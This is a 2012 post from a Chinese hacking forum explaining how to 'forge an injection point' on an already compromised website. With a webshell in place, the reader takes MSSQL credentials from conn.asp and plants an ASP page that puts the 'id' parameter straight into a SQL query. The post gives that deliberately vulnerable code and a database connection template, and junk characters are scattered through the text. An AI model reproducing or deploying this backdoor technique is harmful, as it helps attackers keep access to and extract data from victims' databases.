找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1856|回复: 0
打印 上一主题 下一主题

伪造注入点方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:08 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:9 w5 O6 v2 Z  i' J+ W/ ~* `
ASP/Visual Basic代码2 Q& c. z, Y5 v' s- a  t1 v' N' s1 ^6 d
<!--#include file="xx.asp"-->    9 {8 B5 o# E$ R. @+ z
<%   
$ f' F; n  w$ s5 uset rs=server.createobject("ADODB.recordset")    0 o' S, P% i7 ^7 d  n% P
id = request("id")    2 f. |5 `; G( @4 d! Y3 m
strSQL = "select * from admin where id=" & id    ; _7 Z$ {- e# h7 b5 t0 {7 Q% o
rs.open strSQL,conn,1,3    2 c/ `* n" v. k' c/ _
rs.close    9 ^8 E! c% H$ a/ o4 ^
%>  
8 c# u# c, U- I, N" E把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
; d, F( X3 w- y+ i然后就要构造一个连接数据库的文件了,代码如下:
' S. ~9 O! Y% o8 RASP/Visual Basic代码' ?2 B$ [; E2 L! S% H* I7 o
<%            
7 ]& H; n$ c6 m) }strSQLServerName = "000.000.000.000"     '服务器名称或地址   
) h( x. M$ _* ~- UstrSQLDBUserName = "sqlname"         '数据库帐号   
& T6 @# a9 i% a( q& y! Q5 O/ qstrSQLDBPassword = "sqlpass"         '数据库密码   
9 {7 }3 w$ D/ |7 K7 m. O/ ustrSQLDBName = "sqldataname"           '数据库名称    / I, z' I5 D0 q1 D% O1 N
Set conn = Server.CreateObject("ADODB.Connection")   
, w: X% p  X0 i5 [4 x4 UstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   
* y& c8 i, Y$ xconn.open strCon    3 k1 N& Y1 `8 R: h7 {& B) ?
%>  / S+ d0 }: h' u0 R1 n
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
1 ]) c9 c9 P! f/ r+ [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表